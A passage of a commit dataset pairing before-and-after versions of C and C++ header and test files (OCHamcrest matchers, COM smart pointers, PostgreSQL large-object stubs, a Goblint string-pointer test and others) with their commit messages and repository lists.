ovak/chromium.src,keishi/chromium,rogerwang/chromium,ChromiumWebApps/chromium,mogoweb/chromium-crosswalk,Just-D/chromium-1,littlstar/chromium.src,anirudhSK/chromium,Pluto-tv/chromium-crosswalk,bright-sparks/chromium-spacewalk,bright-sparks/chromium-spacewalk,ltilve/chromium,dushu1203/chromium.src,dushu1203/chromium.src,dushu1203/chromium.src,dushu1203/chromium.src,keishi/chromium,Fireblend/chromium-crosswalk,fujunwei/chromium-crosswalk,anirudhSK/chromium,Jonekee/chromium.src,nacl-webkit/chrome_deps,axinging/chromium-crosswalk,anirudhSK/chromium,pozdnyakov/chromium-crosswalk,dushu1203/chromium.src,TheTypoMaster/chromium-crosswalk,timopulkkinen/BubbleFish,M4sse/chromium.src,crosswalk-project/chromium-crosswalk-efl,chuan9/chromium-crosswalk,Chilledheart/chromium,dushu1203/chromium.src,junmin-zhu/chromium-rivertrail,PeterWangIntel/chromium-crosswalk,robclark/chromium,fujunwei/chromium-crosswalk,mogoweb/chromium-crosswalk,ChromiumWebApps/chromium,PeterWangIntel/chromium-crosswalk,pozdnyakov/chromium-crosswalk,timopulkkinen/BubbleFish,dednal/chromium.src,robclark/chromium,markYoungH/chromium.src,keishi/chromium,patrickm/chromium.src,keishi/chromium,keishi/chromium,pozdnyakov/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,chuan9/chromium-crosswalk,hgl888/chromium-crosswalk,nacl-webkit/chrome_deps,robclark/chromium,littlstar/chromium.src,robclark/chromium,ChromiumWebApps/chromium,hgl888/chromium-crosswalk-efl,Fireblend/chromium-crosswalk,zcbenz/cefode-chromium,keishi/chromium,dednal/chromium.src,chuan9/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,Chilledheart/chromium,timopulkkinen/BubbleFish,dushu1203/chromium.src,Chilledheart/chromium,Pluto-tv/chromium-crosswalk,ondra-novak/chromium.src
e32e63bf018f24cfe6dbd0f2ab0ccad785e1d045
Source/Library/Object/HCIsNil.h
Source/Library/Object/HCIsNil.h
// // OCHamcrest - HCIsNil.h // Copyright 2011 hamcrest.org. See LICENSE.txt // // Created by: Jon Reid // #import <OCHamcrest/HCBaseMatcher.h> /** Is the value @c nil? @b Factory: @ref nilValue, @ref notNilValue @ingroup object_matchers */ @interface HCIsNil : HCBaseMatcher + (id)isNil; @end #pragma mark - /** Matches if the value is @c nil. @b Synonym: @ref nilValue @see HCIsNil @ingroup object_matchers */ OBJC_EXPORT id<HCMatcher> HC_nilValue(); /** Matches if the value is @c nil. Synonym for @ref HC_nilValue, available if @c HC_SHORTHAND is defined. @see HCIsNil @ingroup object_matchers */ #ifdef HC_SHORTHAND #define nilValue() HC_nilValue() #endif /** Matches if the value is not @c nil. @b Synonym: @ref notNilValue @see HCIsNil @see HCIsNot @ingroup object_matchers */ OBJC_EXPORT id<HCMatcher> HC_notNilValue(); /** Matches if the value is not @c nil. Synonym for @ref HC_notNilValue, available if @c HC_SHORTHAND is defined. @see HCIsNil @see HCIsNot @ingroup object_matchers */ #ifdef HC_SHORTHAND #define notNilValue() HC_notNilValue() #endif
// // OCHamcrest - HCIsNil.h // Copyright 2011 hamcrest.org. See LICENSE.txt // // Created by: Jon Reid // #import <OCHamcrest/HCBaseMatcher.h> @interface HCIsNil : HCBaseMatcher + (id)isNil; @end OBJC_EXPORT id<HCMatcher> HC_nilValue(); /** Matches if the value is @c nil. In the event of a name clash, don't \#define @c HC_SHORTHAND and use the synonym @c HC_nilValue instead. @ingroup object_matchers */ #ifdef HC_SHORTHAND #define nilValue() HC_nilValue() #endif OBJC_EXPORT id<HCMatcher> HC_notNilValue(); /** Matches if the value is not @c nil. In the event of a name clash, don't \#define @c HC_SHORTHAND and use the synonym @c HC_notNilValue instead. @ingroup object_matchers */ #ifdef HC_SHORTHAND #define notNilValue() HC_notNilValue() #endif
Simplify docs for nilValue / notNilValue
Simplify docs for nilValue / notNilValue
C
bsd-2-clause
hamcrest/OCHamcrest,nschum/OCHamcrest,klundberg/OCHamcrest,klundberg/OCHamcrest,hamcrest/OCHamcrest,hamcrest/OCHamcrest,nschum/OCHamcrest,nschum/OCHamcrest
36e2af43dfed86736ee3f33cae7f32d51d5aeff4
include/libsvc/packetqueue.h
include/libsvc/packetqueue.h
#ifndef _PACKETQUEUE_H #define _PACKETQUEUE_H 1 #include <libsvc/thread.h> #include <libsvc/transport.h> #include <pthread.h> #include <stdlib.h> #include <stdint.h> typedef struct pktbuf_s { uint8_t pkt[4096]; } pktbuf; typedef struct packetqueue_s { thread super; pthread_mutexattr_t mattr; pthread_mutex_t mutex; pthread_cond_t cond; intransport *trans; pktbuf *buffer; size_t sz; volatile size_t rpos; volatile size_t wpos; } packetqueue; thread *packetqueue_create (size_t qcount, intransport *producer); #endif
#ifndef _PACKETQUEUE_H #define _PACKETQUEUE_H 1 #include <libsvc/thread.h> #include <libsvc/transport.h> #include <pthread.h> #include <stdlib.h> #include <stdint.h> typedef struct pktbuf_s { uint8_t pkt[4096]; struct sockaddr_storage addr; } pktbuf; typedef struct packetqueue_s { thread super; pthread_mutexattr_t mattr; pthread_mutex_t mutex; pthread_cond_t cond; intransport *trans; pktbuf *buffer; size_t sz; volatile size_t rpos; volatile size_t wpos; } packetqueue; thread *packetqueue_create (size_t qcount, intransport *producer); #endif
Extend the packet ringbuffer to have address stamps
Extend the packet ringbuffer to have address stamps
C
apache-2.0
CloudVPS/opticon,CloudVPS/opticon,CloudVPS/opticon
d56d7adb525d0fb1c4516567d400ae13f2b93013
src/win/util.h
src/win/util.h
/* MIT License Copyright (c) 2017 Eren Okka Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <memory> #include <windows.h> namespace anisthesia { namespace win { struct HandleDeleter { using pointer = HANDLE; void operator()(HANDLE handle) { ::CloseHandle(handle); } }; using Handle = std::unique_ptr<HANDLE, HandleDeleter>; } // namespace win } // namespace anisthesia
/* MIT License Copyright (c) 2017 Eren Okka Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <memory> #include <type_traits> #include <windows.h> namespace anisthesia { namespace win { struct HandleDeleter { using pointer = HANDLE; void operator()(pointer p) const { ::CloseHandle(p); } }; using Handle = std::unique_ptr<HANDLE, HandleDeleter>; //////////////////////////////////////////////////////////////////////////////// template <typename T> struct ComInterfaceDeleter { static_assert(std::is_base_of<IUnknown, T>::value, "Invalid COM interface"); using pointer = T*; void operator()(pointer p) const { if (p) p->Release(); } }; template <typename T> using ComInterface = std::unique_ptr<T, ComInterfaceDeleter<T>>; } // namespace win } // namespace anisthesia
Add smart pointer for COM interfaces
Add smart pointer for COM interfaces
C
mit
erengy/anisthesia
74976f231130b843f555a8f73df18ffb4d89639e
test/CodeGen/debug-info-line2.c
test/CodeGen/debug-info-line2.c
// RUN: %clang_cc1 -triple x86_64-darwin-apple -g -emit-llvm -o - %s | FileCheck %s // Radar 9199234 int bar(); int foo(int i) { int j = 0; if (i) { j = bar(); //CHECK: store i32 //CHECK-NOT: br label %{{%[a-zA-Z0-9\.]+}}, !dbg } else { j = bar() + 2; } return j; }
// RUN: %clang_cc1 -triple x86_64-darwin-apple -g -emit-llvm -o - %s | FileCheck %s // Radar 9199234 int bar(); int foo(int i) { int j = 0; if (i) { j = bar(); } else { //CHECK: store i32 %add //CHECK-NOT: br label %{{[a-zA-Z0-9\.]+}}, !dbg j = bar() + 2; } return j; }
Fix regexp for this test to properly check.
Fix regexp for this test to properly check. Patch by Eli Bendersky. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@160385 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang
98330bd7030626759102845a0467ed2c71f26c30
documentapi/src/vespa/documentapi/messagebus/messages/searchresultmessage.h
documentapi/src/vespa/documentapi/messagebus/messages/searchresultmessage.h
// Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #pragma once #include <vespa/vdslib/container/searchresult.h> #include <vespa/documentapi/messagebus/messages/visitor.h> namespace documentapi { class SearchResultMessage : public VisitorMessage, public vdslib::SearchResult { protected: // Implements VisitorMessage. DocumentReply::UP doCreateReply() const; public: /** * Convenience typedefs. */ typedef std::unique_ptr<SearchResultMessage> UP; typedef std::shared_ptr<SearchResultMessage> SP; /** * Constructs a new search result message for deserialization. */ SearchResultMessage(); /** * Constructs a new search result message for the given search result. * * @param result The result to set. */ SearchResultMessage(const vdslib::SearchResult &result); // Overrides VisitorMessage. uint32_t getApproxSize() const; // Implements VisitorMessage. uint32_t getType() const; string toString() const { return "searchresultmessage"; } }; }
// Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #pragma once #include "visitor.h" #include <vespa/vdslib/container/searchresult.h> namespace documentapi { class SearchResultMessage : public VisitorMessage, public vdslib::SearchResult { protected: DocumentReply::UP doCreateReply() const override; public: /** * Convenience typedefs. */ typedef std::unique_ptr<SearchResultMessage> UP; typedef std::shared_ptr<SearchResultMessage> SP; /** * Constructs a new search result message for deserialization. */ SearchResultMessage(); /** * Constructs a new search result message for the given search result. * * @param result The result to set. */ SearchResultMessage(const vdslib::SearchResult &result); uint32_t getApproxSize() const override; uint32_t getType() const override; string toString() const override { return "searchresultmessage"; } }; }
Add the overrides and you are backin business.
Add the overrides and you are backin business.
C
apache-2.0
vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa,vespa-engine/vespa
24049967c5cc379e34a8e1cd714d472949464300
UIforETW/Version.h
UIforETW/Version.h
#pragma once // const float in a header file can lead to duplication of the storage // but I don't really care in this case. Just don't do it with a header // that is included hundreds of times. const float kCurrentVersion = 1.50f; // Put a "#define VERSION_SUFFIX 'b'" line here to add a minor version // increment that won't trigger the new-version checks, handy for minor // releases that I don't want to bother users about. #define VERSION_SUFFIX 'b'
#pragma once // const float in a header file can lead to duplication of the storage // but I don't really care in this case. Just don't do it with a header // that is included hundreds of times. const float kCurrentVersion = 1.51f; // Put a "#define VERSION_SUFFIX 'b'" line here to add a minor version // increment that won't trigger the new-version checks, handy for minor // releases that I don't want to bother users about. //#define VERSION_SUFFIX 'b'
Increment version number from 1.50b to 1.51
Increment version number from 1.50b to 1.51
C
apache-2.0
ariccio/UIforETW,ariccio/UIforETW,google/UIforETW,ariccio/UIforETW,google/UIforETW,google/UIforETW,ariccio/UIforETW,google/UIforETW
653b614d7cd51871fa3f63bbbab9e05b83ba0437
Nimble/Nimble.h
Nimble/Nimble.h
#import <Foundation/Foundation.h> FOUNDATION_EXPORT double NimbleVersionNumber; FOUNDATION_EXPORT const unsigned char NimbleVersionString[];
#import <Foundation/Foundation.h> #import <Nimble/NMBExceptionCapture.h> #import <Nimble/DSL.h> FOUNDATION_EXPORT double NimbleVersionNumber; FOUNDATION_EXPORT const unsigned char NimbleVersionString[];
Revert "Remove public headers from umbrella header"
Revert "Remove public headers from umbrella header" This reverts commit 7ab1093ffdf6adb66df1bf0799cfdbf34f136521.
C
apache-2.0
AnthonyMDev/Nimble,DanielAsher/Nimble,mishimay/Nimble,mishimay/Nimble,jeffh/Nimble,DanielAsher/Nimble,AnthonyMDev/Nimble,phatblat/Nimble,abbeycode/Nimble,DanielAsher/Nimble,phatblat/Nimble,dgdosen/Nimble,twobitlabs/Nimble,abbeycode/Nimble,feinstruktur/Nimble,twobitlabs/Nimble,feinstruktur/Nimble,twobitlabs/Nimble,dgdosen/Nimble,mishimay/Nimble,phatblat/Nimble,jeffh/Nimble,dgdosen/Nimble,abbeycode/Nimble,Quick/Nimble,ashfurrow/Nimble,jeffh/Nimble,AnthonyMDev/Nimble,ashfurrow/Nimble,ashfurrow/Nimble,dgdosen/Nimble,Quick/Nimble,abbeycode/Nimble,jeffh/Nimble,feinstruktur/Nimble,Quick/Nimble
6f470d631baf6f5a9d30e49ef67593a12e7d7faa
adm/cmake/TKernel/Precompiled.h
adm/cmake/TKernel/Precompiled.h
#pragma once #include <string> #include <iostream> #include <math.h> #include "Standard.hxx" #include "Standard_PrimitiveTypes.hxx" #include "Standard_Stream.hxx" #include "Standard_Failure.hxx" #include "Standard_Transient.hxx" #ifdef USE_STL_STREAM #include <sstream> #else /* USE_STL_STREAM */ #ifdef WNT #include <strstrea.h> #else #include <strstream.h> #endif #endif
#pragma once #include <string> #include <iostream> #include <math.h> #include "Standard.hxx" #include "Standard_PrimitiveTypes.hxx" #include "Standard_Stream.hxx" #include "Standard_Failure.hxx" #include "Standard_Transient.hxx"
Remove obsolete includes in TKernel precompiled
Remove obsolete includes in TKernel precompiled
C
lgpl-2.1
finetjul/oce,heartvalve/oce,heartvalve/oce,Tridify/oce,BenoitPerrot/oce,tpaviot/oce,tpaviot/oce,EvgeneOskin/oce,EvgeneOskin/oce,finetjul/oce,heartvalve/oce,finetjul/oce,finetjul/oce,Tridify/oce,EvgeneOskin/oce,Tridify/oce,BenoitPerrot/oce,BenoitPerrot/oce,finetjul/oce,Tridify/oce,tpaviot/oce,tpaviot/oce,heartvalve/oce,Tridify/oce,heartvalve/oce,EvgeneOskin/oce,BenoitPerrot/oce,EvgeneOskin/oce,BenoitPerrot/oce,tpaviot/oce
3da07a7bd126f9f2344c14858b61dcabbd2cf101
IntelFrameworkModulePkg/Include/Guid/DataHubProducer.h
IntelFrameworkModulePkg/Include/Guid/DataHubProducer.h
/** @file DataHubProducer.h include all GUID definition for producer Copyright (c) 2007, Intel Corporation All rights reserved. This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. Module Name: @par Revision Reference: These GUID are from Cache subclass spec 0.9, DataHub SubClass spec 0.9, Memory SubClass Spec 0.9, Processor Subclass spec 0.9, Misc SubClass spec 0.9. **/ #ifndef _DATAHUB_PRODUCER_H_ #define _DATAHUB_PRODUCER_H_ #define EFI_PROCESSOR_PRODUCER_GUID \ { 0x1bf06aea, 0x5bec, 0x4a8d, {0x95, 0x76, 0x74, 0x9b, 0x09, 0x56, 0x2d, 0x30 } } extern EFI_GUID gEfiProcessorProducerGuid; #define EFI_MEMORY_PRODUCER_GUID \ { 0x1d7add6e, 0xb2da, 0x4b0b, {0xb2, 0x9f, 0x49, 0xcb, 0x42, 0xf4, 0x63, 0x56 } } extern EFI_GUID gEfiMemoryProducerGuid; #define EFI_MISC_PRODUCER_GUID \ { 0x62512c92, 0x63c4, 0x4d80, {0x82, 0xb1, 0xc1, 0xa4, 0xdc, 0x44, 0x80, 0xe5 } } extern EFI_GUID gEfiMiscProducerGuid; #endif
Move some datahub producer GUID from IntelFrameworkPkg to IntelFrameworkModulePkg.
Move some datahub producer GUID from IntelFrameworkPkg to IntelFrameworkModulePkg. git-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3654 6f19259b-4bc3-4df7-8a09-765794883524
C
bsd-2-clause
MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2,MattDevo/edk2
5b8d378c0bc0da49812eb880e40f6de5844d7d70
Sources/Core/Transformer/OCATransformer.h
Sources/Core/Transformer/OCATransformer.h
// // OCATransformer.h // Objective-Chain // // Created by Martin Kiss on 31.12.13. // Copyright © 2014 Martin Kiss. All rights reserved. // #import "OCATransformer+Base.h" #import "OCATransformer+Nil.h" #import "OCATransformer+Predefined.h"
// // OCATransformer.h // Objective-Chain // // Created by Martin Kiss on 31.12.13. // Copyright © 2014 Martin Kiss. All rights reserved. // #import "OCATransformer+Base.h" #import "OCATransformer+Predefined.h"
Fix import of removed file
Fix import of removed file
C
mit
iMartinKiss/Objective-Chain,Tricertops/Objective-Chain
a39acef2a0cad730bfa8317dc98c733212b2afb0
include/libk/kmem.h
include/libk/kmem.h
#ifndef KMEM_H #define KMEM_H #include <stdbool.h> #include <stdint.h> #include <arch/x86/paging.h> #include <libk/kabort.h> #define KHEAP_PHYS_ROOT ((void*)0x100000) //#define KHEAP_PHYS_END ((void*)0xc1000000) #define KHEAP_END_SENTINEL (NULL) #define KHEAP_BLOCK_SLOP 32 struct kheap_metadata { size_t size; struct kheap_metadata *next; bool is_free; }; struct kheap_metadata *root; struct kheap_metadata *kheap_init(); int kheap_extend(); void kheap_install(struct kheap_metadata *root, size_t initial_heap_size); void *kmalloc(size_t bytes); void kfree(void *mem); void kheap_defragment(); #endif
#ifndef KMEM_H #define KMEM_H #include <stdbool.h> #include <stdint.h> #include <arch/x86/paging.h> #include <arch/x86/memlayout.h> #include <libk/kabort.h> // KHEAP_PHYS_ROOT is defined in memlayout.h because it is architecture // specific. #define KHEAP_END_SENTINEL (NULL) #define KHEAP_BLOCK_SLOP 32 struct kheap_metadata { size_t size; struct kheap_metadata *next; bool is_free; }; struct kheap_metadata *root; struct kheap_metadata *kheap_init(); int kheap_extend(); void kheap_install(struct kheap_metadata *root, size_t initial_heap_size); void *kmalloc(size_t bytes); void kfree(void *mem); void kheap_defragment(); #endif
Move KHEAP macros into memlayout.h
Move KHEAP macros into memlayout.h We should try to make this file architecture agnostic
C
mit
iankronquist/kernel-of-truth,iankronquist/kernel-of-truth,Herbstein/kernel-of-truth,awensaunders/kernel-of-truth,iankronquist/kernel-of-truth,Herbstein/kernel-of-truth,awensaunders/kernel-of-truth,Herbstein/kernel-of-truth,iankronquist/kernel-of-truth,awensaunders/kernel-of-truth,iankronquist/kernel-of-truth
94123219bfd5f9e688764a2125d36f206bf89704
src/include/libpq/be-fsstubs.h
src/include/libpq/be-fsstubs.h
/*------------------------------------------------------------------------- * * be-fsstubs.h-- * * * * Copyright (c) 1994, Regents of the University of California * * $Id: be-fsstubs.h,v 1.1 1996/08/28 07:22:56 scrappy Exp $ * *------------------------------------------------------------------------- */ #ifndef BE_FSSTUBS_H #define BE_FSSTUBS_H extern Oid lo_import(text *filename); extern int4 lo_export(Oid lobjId, text *filename); extern Oid lo_creat(int mode); extern int lo_open(Oid lobjId, int mode); extern int lo_close(int fd); extern int lo_read(int fd, char *buf, int len); extern int lo_write(int fd, char *buf, int len); extern int lo_lseek(int fd, int offset, int whence); extern int lo_tell(int fd); extern int lo_unlink(Oid lobjId); extern struct varlena *LOread(int fd, int len); extern int LOwrite(int fd, struct varlena *wbuf); #endif /* BE_FSSTUBS_H */
/*------------------------------------------------------------------------- * * be-fsstubs.h-- * * * * Copyright (c) 1994, Regents of the University of California * * $Id: be-fsstubs.h,v 1.2 1997/05/06 07:14:34 thomas Exp $ * *------------------------------------------------------------------------- */ #ifndef BE_FSSTUBS_H #define BE_FSSTUBS_H /* Redefine names LOread() and LOwrite() to be lowercase to allow calling * using the new v6.1 case-insensitive SQL parser. Define macros to allow * the existing code to stay the same. - tgl 97/05/03 */ #define LOread(f,l) loread(f,l) #define LOwrite(f,b) lowrite(f,b) extern Oid lo_import(text *filename); extern int4 lo_export(Oid lobjId, text *filename); extern Oid lo_creat(int mode); extern int lo_open(Oid lobjId, int mode); extern int lo_close(int fd); extern int lo_read(int fd, char *buf, int len); extern int lo_write(int fd, char *buf, int len); extern int lo_lseek(int fd, int offset, int whence); extern int lo_tell(int fd); extern int lo_unlink(Oid lobjId); extern struct varlena *loread(int fd, int len); extern int lowrite(int fd, struct varlena *wbuf); #endif /* BE_FSSTUBS_H */
Rename LOread() and LOwrite() to be lower case to allow use in case-insensitive SQL. Define LOread() and LOwrite() as macros to avoid having to update calls everywhere.
Rename LOread() and LOwrite() to be lower case to allow use in case-insensitive SQL. Define LOread() and LOwrite() as macros to avoid having to update calls everywhere.
C
mpl-2.0
kmjungersen/PostgresXL,Quikling/gpdb,xuegang/gpdb,cjcjameson/gpdb,Chibin/gpdb,cjcjameson/gpdb,0x0FFF/gpdb,royc1/gpdb,randomtask1155/gpdb,0x0FFF/gpdb,zeroae/postgres-xl,janebeckman/gpdb,50wu/gpdb,jmcatamney/gpdb,edespino/gpdb,randomtask1155/gpdb,rvs/gpdb,royc1/gpdb,0x0FFF/gpdb,randomtask1155/gpdb,lintzc/gpdb,postmind-net/postgres-xl,rvs/gpdb,zeroae/postgres-xl,xinzweb/gpdb,tpostgres-projects/tPostgres,CraigHarris/gpdb,janebeckman/gpdb,foyzur/gpdb,rubikloud/gpdb,atris/gpdb,kmjungersen/PostgresXL,zaksoup/gpdb,ashwinstar/gpdb,tangp3/gpdb,pavanvd/postgres-xl,foyzur/gpdb,tpostgres-projects/tPostgres,jmcatamney/gpdb,kaknikhil/gpdb,lisakowen/gpdb,janebeckman/gpdb,foyzur/gpdb,Chibin/gpdb,chrishajas/gpdb,jmcatamney/gpdb,rvs/gpdb,zaksoup/gpdb,royc1/gpdb,jmcatamney/gpdb,rvs/gpdb,Quikling/gpdb,jmcatamney/gpdb,ovr/postgres-xl,Quikling/gpdb,CraigHarris/gpdb,chrishajas/gpdb,yazun/postgres-xl,Postgres-XL/Postgres-XL,zeroae/postgres-xl,janebeckman/gpdb,janebeckman/gpdb,lpetrov-pivotal/gpdb,lpetrov-pivotal/gpdb,postmind-net/postgres-xl,ahachete/gpdb,atris/gpdb,rubikloud/gpdb,lintzc/gpdb,techdragon/Postgres-XL,kmjungersen/PostgresXL,randomtask1155/gpdb,yazun/postgres-xl,edespino/gpdb,kaknikhil/gpdb,xinzweb/gpdb,lpetrov-pivotal/gpdb,rvs/gpdb,Chibin/gpdb,ashwinstar/gpdb,Chibin/gpdb,kaknikhil/gpdb,kaknikhil/gpdb,zeroae/postgres-xl,lintzc/gpdb,tpostgres-projects/tPostgres,ashwinstar/gpdb,lpetrov-pivotal/gpdb,atris/gpdb,50wu/gpdb,cjcjameson/gpdb,greenplum-db/gpdb,royc1/gpdb,foyzur/gpdb,ahachete/gpdb,chrishajas/gpdb,Quikling/gpdb,rubikloud/gpdb,chrishajas/gpdb,yuanzhao/gpdb,CraigHarris/gpdb,Chibin/gpdb,edespino/gpdb,greenplum-db/gpdb,techdragon/Postgres-XL,oberstet/postgres-xl,zaksoup/gpdb,edespino/gpdb,ovr/postgres-xl,tangp3/gpdb,Quikling/gpdb,chrishajas/gpdb,tangp3/gpdb,50wu/gpdb,atris/gpdb,CraigHarris/gpdb,postmind-net/postgres-xl,chrishajas/gpdb,yazun/postgres-xl,adam8157/gpdb,yuanzhao/gpdb,tpostgres-projects/tPostgres,lintzc/gpdb,Chibin/gpdb,rvs/gpdb,zaksoup/gpdb,lisakowen/gpdb,50wu/gpdb,janebeckman/gpdb,yuanzhao/gpdb,jmcatamney/gpdb,cjcjameson/gpdb,rubikloud/gpdb,ahachete/gpdb,50wu/gpdb,royc1/gpdb,xuegang/gpdb,snaga/postgres-xl,ashwinstar/gpdb,chrishajas/gpdb,adam8157/gpdb,kmjungersen/PostgresXL,0x0FFF/gpdb,foyzur/gpdb,rvs/gpdb,pavanvd/postgres-xl,Quikling/gpdb,arcivanov/postgres-xl,ashwinstar/gpdb,edespino/gpdb,adam8157/gpdb,zeroae/postgres-xl,cjcjameson/gpdb,edespino/gpdb,lisakowen/gpdb,atris/gpdb,snaga/postgres-xl,yuanzhao/gpdb,CraigHarris/gpdb,zaksoup/gpdb,ashwinstar/gpdb,lintzc/gpdb,rvs/gpdb,kaknikhil/gpdb,cjcjameson/gpdb,atris/gpdb,kaknikhil/gpdb,techdragon/Postgres-XL,jmcatamney/gpdb,adam8157/gpdb,xuegang/gpdb,royc1/gpdb,rubikloud/gpdb,ashwinstar/gpdb,lpetrov-pivotal/gpdb,edespino/gpdb,rubikloud/gpdb,foyzur/gpdb,0x0FFF/gpdb,arcivanov/postgres-xl,atris/gpdb,xinzweb/gpdb,kaknikhil/gpdb,adam8157/gpdb,Chibin/gpdb,cjcjameson/gpdb,tpostgres-projects/tPostgres,ahachete/gpdb,greenplum-db/gpdb,yazun/postgres-xl,Quikling/gpdb,postmind-net/postgres-xl,randomtask1155/gpdb,zaksoup/gpdb,ahachete/gpdb,postmind-net/postgres-xl,pavanvd/postgres-xl,lisakowen/gpdb,foyzur/gpdb,pavanvd/postgres-xl,Chibin/gpdb,janebeckman/gpdb,greenplum-db/gpdb,greenplum-db/gpdb,0x0FFF/gpdb,oberstet/postgres-xl,greenplum-db/gpdb,Chibin/gpdb,lisakowen/gpdb,50wu/gpdb,rvs/gpdb,randomtask1155/gpdb,chrishajas/gpdb,rvs/gpdb,edespino/gpdb,xinzweb/gpdb,cjcjameson/gpdb,ahachete/gpdb,CraigHarris/gpdb,cjcjameson/gpdb,lintzc/gpdb,snaga/postgres-xl,lintzc/gpdb,janebeckman/gpdb,cjcjameson/gpdb,techdragon/Postgres-XL,CraigHarris/gpdb,arcivanov/postgres-xl,royc1/gpdb,oberstet/postgres-xl,ahachete/gpdb,yuanzhao/gpdb,greenplum-db/gpdb,edespino/gpdb,yazun/postgres-xl,rubikloud/gpdb,oberstet/postgres-xl,yuanzhao/gpdb,adam8157/gpdb,kaknikhil/gpdb,snaga/postgres-xl,CraigHarris/gpdb,edespino/gpdb,atris/gpdb,lisakowen/gpdb,0x0FFF/gpdb,Quikling/gpdb,ashwinstar/gpdb,lpetrov-pivotal/gpdb,xinzweb/gpdb,Quikling/gpdb,randomtask1155/gpdb,lintzc/gpdb,yuanzhao/gpdb,kaknikhil/gpdb,ovr/postgres-xl,xuegang/gpdb,janebeckman/gpdb,lpetrov-pivotal/gpdb,tangp3/gpdb,ahachete/gpdb,kaknikhil/gpdb,Chibin/gpdb,lpetrov-pivotal/gpdb,rubikloud/gpdb,Postgres-XL/Postgres-XL,yuanzhao/gpdb,xinzweb/gpdb,ovr/postgres-xl,pavanvd/postgres-xl,adam8157/gpdb,yuanzhao/gpdb,ovr/postgres-xl,oberstet/postgres-xl,xuegang/gpdb,arcivanov/postgres-xl,snaga/postgres-xl,xinzweb/gpdb,lintzc/gpdb,arcivanov/postgres-xl,arcivanov/postgres-xl,jmcatamney/gpdb,xuegang/gpdb,Postgres-XL/Postgres-XL,randomtask1155/gpdb,50wu/gpdb,zaksoup/gpdb,zaksoup/gpdb,Quikling/gpdb,Postgres-XL/Postgres-XL,xuegang/gpdb,50wu/gpdb,tangp3/gpdb,techdragon/Postgres-XL,xuegang/gpdb,xuegang/gpdb,foyzur/gpdb,lisakowen/gpdb,tangp3/gpdb,tangp3/gpdb,kmjungersen/PostgresXL,royc1/gpdb,CraigHarris/gpdb,0x0FFF/gpdb,adam8157/gpdb,Postgres-XL/Postgres-XL,xinzweb/gpdb,janebeckman/gpdb,lisakowen/gpdb,greenplum-db/gpdb,yuanzhao/gpdb,tangp3/gpdb
ebd65d48956d3a55fa5281f4cf5b5ee14172aae0
tests/regression/02-base/88-strings.c
tests/regression/02-base/88-strings.c
#include <assert.h> #include <stdlib.h> int main(){ char* str = "Hello"; char* str2 = "Hello"; char* str3 = "hi"; char* str4 = "other string"; // Unknown since the there may be multiple copies of the same string __goblint_check(str != str2); // UNKNOWN! __goblint_check(str == str); __goblint_check(str != str3); char *ptr = NULL; int top = rand(); if(top){ ptr = str2; } else { ptr = str3; } __goblint_check(*ptr == *str); //UNKNOWN // This is unknwon due to only keeping one string pointer in abstract address sets __goblint_check(*ptr == *str4); //UNKNOWN return 0; }
